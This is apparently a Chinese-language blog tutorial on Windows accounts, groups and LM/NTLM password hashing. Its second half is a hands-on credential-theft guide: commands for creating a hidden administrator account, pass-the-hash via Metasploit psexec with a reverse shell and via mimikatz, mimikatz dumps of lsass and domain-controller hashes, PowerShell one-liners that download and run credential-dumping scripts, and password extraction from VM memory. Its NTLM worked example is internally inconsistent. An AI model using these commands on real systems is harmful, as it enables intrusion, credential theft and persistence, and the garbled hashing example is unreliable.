Windows中的用户和组以及用户密码处理

目录

用户帐户

Windows 默认账户

Windows 内置用户账户

查看、创建和删除账户

组账户

内置组账户

组的查看、创建和删除

Windows中对用户密码的处理

LM-hash

NTLM-hash

哈希传递攻击(Pass-the-Hash,PtH)

MSF进行哈希传递攻击PtH

mimikatz进行哈希传递攻击PtH(工作组)

mimikatz进行哈希传递攻击PtH(域)

基于SAM文件的密码破解

使用 mimikatz 破解windows登录密码

使用PowerShell命令读取密码

从内存中读取密码


用户帐户

用户帐户是对计算机用户身份的标识,本地用户帐户、密码存在本地计算机上,只对本机有效,存储在本地安全帐户数据库 SAM 中,文件路径:C:\Windows\System32\config\SAM ,对应的进程:lsass.exe  。通过本地用户和组,可以为用户和组分配权利和权限,从而限制用户和组执行某些操作的能力。

  • 不同的用户身份拥有不同的权限
  • 每个用户包含一个名称和一个密码
  • 用户帐户拥有唯一的安全标识符(Security Identifier,SID)

Windows中的用户和组以及用户密码处理_第1张图片

当我们去进程管理里面杀死 lsass.exe 进程时,windows会提示遇到错误,然后关机。

Windows中的用户和组以及用户密码处理_第2张图片

查看用户的SID

  • whoami  /user     查看系统当前用户的SID
  • wmic  useraccount  get  name,sid      查看所有用户的SID

Windows中的用户和组以及用户密码处理_第3张图片

Windows 默认账户

用于特殊用途,一般不需更修改其权限

  • 与使用者关联的用户帐户 Administrator(管理员用户)
  • 默认的管理员用户 Guest(来宾用户) 默认是禁用的

Windows中的用户和组以及用户密码处理_第4张图片

Windows 内置用户账户

与windows组件关联的用户账户

  • System (本地系统):为windows的核心组件访问文件等资源提供权限
  • Local Service (本地服务):预设的拥有最小权限的本地账户
  • Network Service (网络服务):具有运行网络服务权限的计算机账户

查看、创建和删除账户

使用命令查看、创建和删除账户

  • net  user     查看系统账户
  • net  user   xie      123   /add        创建新用户xie,密码设置为 123
  • net  user   hack$  123  /add        创建隐藏用户hack,密码为123
  • net  user  xie        查看账户xie的属性
  • net  user  xie  x456.    将用户写的密码修改为x456.
  • net  user  xie  /del    删除用户xie
  • net  localgroup   administrators  xie    /add      将普通用户xie提权到管理员
  • net  localgroup   administrators  hack$  /add   将隐藏用户hack提权到管理员

Windows中的用户和组以及用户密码处理_第5张图片

组账户

  • 组是一些用户的集合
  • 组内的用户自动具备为组所设置的权限

Windows中的用户和组以及用户密码处理_第6张图片

内置组账户

需要人为添加成员的内置组

  • Administrators
  • Guests
  • Power Users
  • Users(标准用户)
  • Remote Desktop Users

administators 组内的用户,都具备系统管理员的权限,它们拥有对这台计算机最大的控制权限,可以执行整台计算机的管理任务。内置的系统管理员账号 Administrator 就是本地组的成员,而且无法将它从该组删除。如果这台计算机已加入域,则域的Domain Admins 会自动地加入到该计算机的Administrators组内。也就是说,域上的系统管理员在这台计算机上也具备着系统管理员的权限

Guests 组是提供给没有用户帐户但是需要访问本地计算机内资源的用户使用,该组的成员无法永久地改变其桌面的工作环境。该组最常见的默认成员为用户帐号Guest。

Power Users 组内的用户具备比Users组更多的权利,但是比Administrators组拥有的权利更少一些,例如,可以:创建、删除、更改本地用户帐户;创建、删除、管理本地计算机内的共享文件夹与共享打印机;自定义系统设置,例如更改计算机时间、关闭计算机等。但是不可以更改Administrators,无法夺取文件的所有权、无法备份与还原文件、无法安装删除与删除设备驱动程序、无法管理安全与审核日志。

Users 组内的成员只拥有一些基本的权利,例如运行应用程序,但是他们不能修改操作系统的设置、不能更改其它用户的数据、不能关闭服务器级的计算机。所有添加的本地用户帐户者自动属于Users组。如果这台计算机已经加入域,则域的Domain Users会自动地被加入到该计算机的Users组中。

Remote Desktop Users 组内的成员拥有远程桌面登录的权限。默认Administrators组内的成员都拥有远程桌面的权限。

动态包含成员的内置组

其成员由Windows程序“自动添加” ,Windows会根据用户的状态来决定用户所属的组 ,组内的成员也随之动态变化,无法修改

  • Interactive: 动态包含在本地登录的用户
  • Authenticated Users:任何一个利用有效的用户帐户连接的用户都属于这个组。建议在设置权限时,尽量针对Authenticated Users组进行设置,而不要针对Everone进行设置。
  • Everyone :任何一个用户都属于这个组。注意,如果Guest帐号被启用时,则给Everone这个组指派权限时必须小心,因为当一个没有帐户的用户连接计算机时,他被允许自动利用Guest帐户连接,但是因为Guest也是属于Everone组,所以他将具备Everyone所拥有的权限。

组的查看、创建和删除

使用命令查看、创建和删除组

  • net  localgroup    查看系统的组
  • net  localgroup   marketGroup   /add         新建一个marketGroup的组
  • net  localgroup   marketGroup   xie  /add   将用户xie加入marketGroup组中
  • net  localgroup   markGroup     查看markGroup组内的成员
  • net  localgroup   marketGroup   xie  /del    将用户xi从marketGroup组中移除
  • net  localgroup   marketGroup   /del           删除marketGroup组
  • net  localgroup  "remote desktop users" hack /add     将用户hack加入远程桌面组
  • net  localgroup  "remote desktop users" hack /del      将用户hack从远程桌面组删除

Windows中的用户和组以及用户密码处理_第7张图片

Windows中对用户密码的处理

Windows系统使用两种方法对用户的密码进行哈希处理,它们分别是 LAN Manager(LM)哈希和 NT LAN Manager(NTLM)哈希。所谓哈希(hash),就是使用一种加密函数对其进行加密。这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。现在已经有了更新的 NTLMv2 以及 Kerberos 验证体系。Windows加密过的密码口令,我们称之为hash,Windows的系统密码hash默认情况下一般由两部分组成:第一部分是 LM-hash,第二部分是 NTLM-hash。在windows200以后的系统中,第一部分的 LM-hash 都是空值,因为LM-hash可以很容易的破解,所以windows2000之后这个值默认为空,所以第二部分的NTLM-hash才真正是用户密码的哈希值。

通常可从Windows系统中的SAM文件 和 域控的 NTDS.dit 文件中获得所有用户的hash,通过Mimikatz读取lsass.exe进程能获得已登录用户的NTLM hash

这个网站提供对密码转换成 LM-Hash 和 NTLM-Hash 的操作:https://asecuritysite.com/encryption/lmhash

LM-hash

LAN Manager(LM)哈希是Windows系统所用的第一种密码哈希算法。它只有唯一一个版本且一直用到了NT LAN Manager(NTLM)哈希的出现,NTLM哈希用于Windows 2000及其之后系统中。新版操作系统因兼容缘故仍然支持LM哈希算法。但是在 Windows Vista 和 Windows 7 开始,LM-hash是默认关闭的。

LM加密过程

  1. 口令大写         
  2. 转换为HEX         
  3. 用0补齐14字节(112bit)         
  4. 两组分组         
  5. 每组7字节HEX转为二进制,每7bit一组末尾加0,再转换成十六进制组成得到2组8字节的编码         
  6. 两组8字节编码,分别作为DES加密key为字符串“KGS!@#$% ”进行加密         
  7. 两组DES加密后的编码拼接

注:自Windows2000以后的 windows 系统都是用 NTLM-hash 处理用户的密码

NTLM-hash

New Technology LAN Manager(NTLM)哈希算法是微软认可的另一种算法。Windows2000以后的 windows 系统都是用 NTLM-hash 处理用户的密码

NTLM加密过程

  1. 密码换成HEX         
  2. HEX字符串进行ASCII转Unicode         
  3. Unicode字符串进行标准MD4单向哈希加密
123456 -> hex(16进制编码) = 313233343536
313233343536 -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

在线NTLM加密的网站:NTLM密码加密计算器

如图,第三部分是LM-Hash,第四部分是NTLM-Hash。目前的LM-hash是空值,所以第四部分的NTLM-hash才是用户密码的哈希值。 

哈希传递攻击(Pass-the-Hash,PtH)

MSF进行哈希传递攻击PtH

有些时候,当我们获取到了某台主机的Administrator用户的LM-Hash和 NTLM-Hash ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 漏洞用MSF进行远程登录(哈希传递攻击)。(只能是administrator用户的LM-hash和NTLM-hash),这个利用跟工作组环境或者域环境无关。

msf > use  exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.27
msf exploit(psexec) > set rhost 192.168.10.14
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6   #这里LM和NTLM我们已经获取到了
msf exploit(psexec) > exploit 

mimikatz进行哈希传递攻击PtH(工作组)

当我们获得了一台主机的NTLM哈希值,我们可以使用mimikatz对其进行哈希传递攻击。执行完命令后,会弹出cmd窗口。

#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:administrator /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9

#使用xie用户的NTLM哈希值进行攻击
sekurlsa::pth /user:xie /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9

在弹出的cmd窗口,我们直接可以连接该主机,并且查看该主机下的文件夹。

Windows中的用户和组以及用户密码处理_第8张图片

或者可以直接将该主机的C盘映射到本地的K盘。

Windows中的用户和组以及用户密码处理_第9张图片

非 administrator 用户权限不够!

Windows中的用户和组以及用户密码处理_第10张图片

注:只能在 mimikatz 弹出的cmd窗口才可以执行这些操作!

mimikatz进行哈希传递攻击PtH(域)

在域环境中,当我们获得了域内用户的NTLM哈希值,我们可以使用域内的一台主机用mimikatz对域控进行哈希传递攻击。执行完命令后,会弹出cmd窗口。前提是我们必须拥有域内任意一台主机的本地 administrator 权限和获得了域用户的NTLM哈希值

  • 域:xie.com
  • 域控:WIN2008.xie.com
#使用域管理员administrator的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:administrator /domain:"xie.com" /ntlm:dbd621b8ed24eb627d32514476fac6c5 

#使用域用户xie的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:xie /domain:"xie.com" /ntlm:329153f560eb329c0e1deea55e88a1e9   

Windows中的用户和组以及用户密码处理_第11张图片

Windows中的用户和组以及用户密码处理_第12张图片

基于SAM文件的密码破解

SAM文件即账号密码数据库文件。 当我们登录系统的时候,系统会自动地和 C:\Windows\System32\config\SAM 中的SAM文件自动校对,如发现此次密码与SAM文件中的加密数据符合时,你就会顺利登录;如果错误则无法登录。在系统运行期间,SAM文件一直是被占用的,是无法打开和编辑复制的,我们可以进入PE系统进行复制然后在利用软件进行密码的修改

  • U盘启动,运行DiskGenius分区工具
  • 找到 SAM 文件,复制到U盘
  • 在另一台电脑上下载软件 NTPWedit 并运行,打开 SAM 文件,解锁并修改密码
  • 把 SAM 文件复制到原来的电脑上,覆盖原文件

注意:这样只能修改密码,并不能知道密码的明文

使用 mimikatz 破解windows登录密码

  mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

注:但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。

  • 下载mimikatz程序,找到自己系统对应的位数,右键以管理员身份运行
  • 提升至debug权限在提示符下,输入:privilege::debug
  • 抓取密码: sekurlsa::logonpasswords

Windows中的用户和组以及用户密码处理_第13张图片

使用mimikatz读取域控上所有域用户的Hash值

注:得在域控上以域管理员身份执行mimikatz

  • 提升至debug权限在提示符下,输入:privilege::debug
  • 抓取密码: lsadump::lsa /patch

Windows中的用户和组以及用户密码处理_第14张图片Windows中的用户和组以及用户密码处理_第15张图片

使用PowerShell命令读取密码

读取密码明文

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

读取密码hash值

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

从内存中读取密码

我们都知道虚拟机有拍摄快照的功能。拍摄快照的瞬间虚拟机就会把你当前的内存保存为一个文件,文件以 .vmem 结尾,该文件的大小就是你虚拟机的内存大小。我们现在要从快照内存中读取出密码。

首先,利用 Bin2Dmp将该内存文件转成dmp文件,

Bin2Dmp.exe "Windows 7 x64-381e3888.vmem" windows7.dmp

Windows中的用户和组以及用户密码处理_第16张图片

然后我们在 windbg 中载入该文件 

Windows中的用户和组以及用户密码处理_第17张图片

依次在 kd>  中输入下面的命令 

.symfix     #设置符号路径 
.reload     #重新载入
.load  D:\Cracer渗透工具包v3.0\Cracer渗透工具包v3.0\Cracer渗透工具\windows安全\mimikatz\x64\mimilib.dll   #这个路径是你mimikatz的路径
!process 0 0 lsass.exe      #查找lsass进程,并将该进程转到本机环境中
.process /r /p fffffa801ae19060            #这里的fffffa801ae19060 是上一步查找lsass进程的地址,注意替换
!mimikatz        #载入mimikatz,读取密码

可以看到,已经读取出密码来了 

Windows中的用户和组以及用户密码处理_第18张图片

链接: https://pan.baidu.com/s/1aofXft4YCSGEDEHQcgnCzw       提取码: p7vx

相关文章:Windows中的认证体系

 

你可能感兴趣的:(Windows系统安全)